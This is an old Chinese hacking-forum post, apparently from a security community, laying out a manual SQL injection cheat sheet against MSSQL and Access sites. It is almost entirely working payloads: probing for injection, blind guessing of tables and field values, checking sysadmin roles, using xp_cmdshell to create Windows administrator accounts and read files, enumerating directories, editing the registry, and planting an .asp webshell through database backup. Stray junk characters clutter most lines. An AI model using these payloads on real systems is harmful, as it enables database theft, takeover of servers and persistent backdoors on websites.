找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2140|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 : e  T. B* e( g: h- h
1.判断是否有注入;and 1=1 ;and 1=2
7 R2 g, z3 r: u" q" t% W
7 |- ~0 Z- }: j- g- |2.初步判断是否是mssql ;and user>0
* P, h8 J9 d+ C! q
( j7 U* H: h/ ^, l; O% v% q3.注入参数是字符'and [查询条件] and ''='
, |7 N6 J: M! t( y1 p3 a/ D( \0 Z6 {2 c
4.搜索时没过滤参数的'and [查询条件] and '%25'='
5 x# n& B! \- p$ x! D4 m5 N4 V9 [  b/ T) _% ?6 o; d6 N. T
5.判断数据库系统
+ W. n3 q% A: O+ l1 k% ];and (select count(*) from sysobjects)>0 mssql 4 R+ Q$ w! p5 s+ X4 C/ F$ O
;and (select count(*) from msysobjects)>0 access 5 C4 y6 w  {" J5 `9 v0 v/ \3 B
9 T4 D1 J6 Y3 `, [7 g
6.猜数据库 ;and (select Count(*) from [数据库名])>0 7 y" b9 z, {/ @2 J7 o( q5 ]
8 H% H. i! H* r" p6 J: d  c
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
! D4 R; c3 Q1 P8 S5 A7 f/ d! T2 ~+ e5 q; Z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ( p* l9 s9 i8 u" N5 w

! I2 x5 g( |- K# ^) m9.(1)猜字段的ascii值(access)
" P( V3 ]9 ^. @) e+ f4 C* F" H, k;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
( }  d3 T* o! @  Q" \+ U5 j
( E7 i5 A3 D9 M$ k! J! v7 T(2)猜字段的ascii值(mssql)
: b- S  Q& v4 U' n) R: Q" M' b, t- i;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4 P. T* ~7 P  ^, \2 i' P- c; _' D6 c
$ v& Y; |& Y2 G$ {; _7 O% i
10.测试权限结构(mssql) / l# b- [9 H: t( B
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - s3 g; j# H5 V1 W. q) s4 x
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- # w+ L; V/ X$ H, Y. d$ x
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) C, H( \% ?$ F& x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. R* [4 n  p8 E;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 T2 a# c3 I& ]$ w; w" x;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ' ?: ~+ I! K9 G) Q7 `
;and 1=(select IS_MEMBER('db_owner'));-- , t. X2 }, w' O$ k

$ V: V! e  x5 t; ]- L11.添加mssql和系统的帐户
1 U+ c: Z) Y/ J# };exec master.dbo.sp_addlogin username;--
5 w( R& M: c! m
# U5 O: M& e& b. h& h6 Q9 ~;exec master.dbo.sp_password null,username,password;-- $ t0 b' F7 ?5 [$ i& n1 B3 R' Q* `1 ^: l
% t" r; n: z/ t0 P3 D3 x, S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6 a3 ?; I2 m% `2 j2 j# o, m

2 {4 H2 L1 E. H6 e;exec master.dbo.xp_cmdshell 'net user username password
- K" h+ n7 ]4 \( x/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- # Y7 ^+ i7 ]; e8 w. E

6 n( w# ]$ U6 K/ W3 G;exec master.dbo.xp_cmdshell 'net user username password /add';--
3 F- |7 {' {4 k1 K  j# v; B" s! t! B) S) \  A
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 G2 X7 r& R" X5 E* }9 S1 L) B4 Z9 @8 s
12.(1)遍历目录
" s* Y" [6 i5 N; L+ P$ w  y& }) _" u: L
4 Y7 q( H1 j; b8 W+ d% d;create table dirs(paths varchar(100), id int) 2 ]& ~6 u/ G3 R$ l7 k; H
;insert dirs exec master.dbo.xp_dirtree 'c:\' , e; m/ D; K- _+ H( m5 m
;and (select top 1 paths from dirs)>0
" w5 M7 O( r- S;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7 r8 q$ p: n1 L8 p
$ Y" {: B: X" S6 D" [& s
(2)遍历目录
3 |# w- I6 i/ J  g/ }# b; [;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" N' g; Y& ]% X& r! i( G" P;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
' w$ U- ]9 J  |5 `( I, U3 {;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 i: e) h* g4 f) j5 P. s9 o: F
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 8 g5 A3 i! w3 o1 |0 s7 x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 e4 t* _: _: o6 r) d/ u1 H' N/ ~% s; t4 T% H" Y2 ?* a! g4 n3 D
13.mssql中的存储过程 8 x2 T8 S# a7 K2 a" Z
( X' n0 _$ a  ?1 L
xp_regenumvalues 注册表根键, 子键 7 \1 A& x$ e, [- k
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
& j( i  V8 a3 L9 d, h5 K$ v; a1 T" b& |
xp_regread 根键,子键,键值名 9 @" u6 A/ w! ?
;exec xp_regread + f: X. N9 }4 @" W& T6 @- k
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
' W4 I7 p/ p: P5 c* C% b6 Z$ ^
1 P3 h& b( ?7 h! P) g7 O& exp_regwrite 根键,子键, 值名, 值类型, 值 - W" X7 c% Z7 j; c/ J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 C( u4 I. _7 r;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 \& Q% N+ [: ~3 U# d( Z4 g
! t7 x% E9 n' pxp_regdeletevalue 根键,子键,值名 - c7 B% F) V  ^# `

( \& |. x2 I# V7 `, S1 P- hexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
% P% i& `" n* _+ ~# c
$ q7 o9 F  ], kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
; q) m1 T" E- a* o
# \) [2 r+ }- k# |9 s14.mssql的backup创建webshell
) H, c- x( ], G5 k$ C. Muse model
8 Q/ o0 t) F! g/ v3 z, kcreate table cmd(str image); : Z) F9 ^# P, H/ [. B7 ]3 C
insert into cmd(str) values ('');
% ?1 l& O; l& |8 U5 @backup database model to disk='c:\l.asp'; ) u4 ?  `. s# c* r* s: F, f6 |

+ l9 h: b' B4 f; z7 y0 t  i15.mssql内置函数 - a8 X' c+ @* G
;and (select @@version)>0 获得Windows的版本号
9 O8 f2 M# M7 f2 D3 ^2 o8 B, H;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 M4 M, Z1 g, s& Q2 L6 s# Z' M0 h
;and (select user_name())>0 爆当前系统的连接用户 1 o7 W% |5 X7 e( L# P
;and (select db_name())>0 得到当前连接的数据库 ; e$ |& v# I- {5 A& R% V
+ I' u/ v9 b7 I" t; L
16.简洁的webshell % F+ b) V, c- g3 k; S# q
/ @* q2 @8 E: l0 U" c
use model $ C, v4 t( x/ }' C  N$ Z

. v, p  l) d( i+ k3 F. {% icreate table cmd(str image);
; O4 N, i5 D5 Z! M
% D" t$ z9 e7 A- v( K$ H4 ?insert into cmd(str) values (''); 4 u: m3 u& i- A

" g- N( I: U4 S; @  vbackup database model to disk='g:\wwwtest\l.asp';
/ `, b3 E9 _: T. \6 K 8 Z5 H% S7 j  k/ I# [: w
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表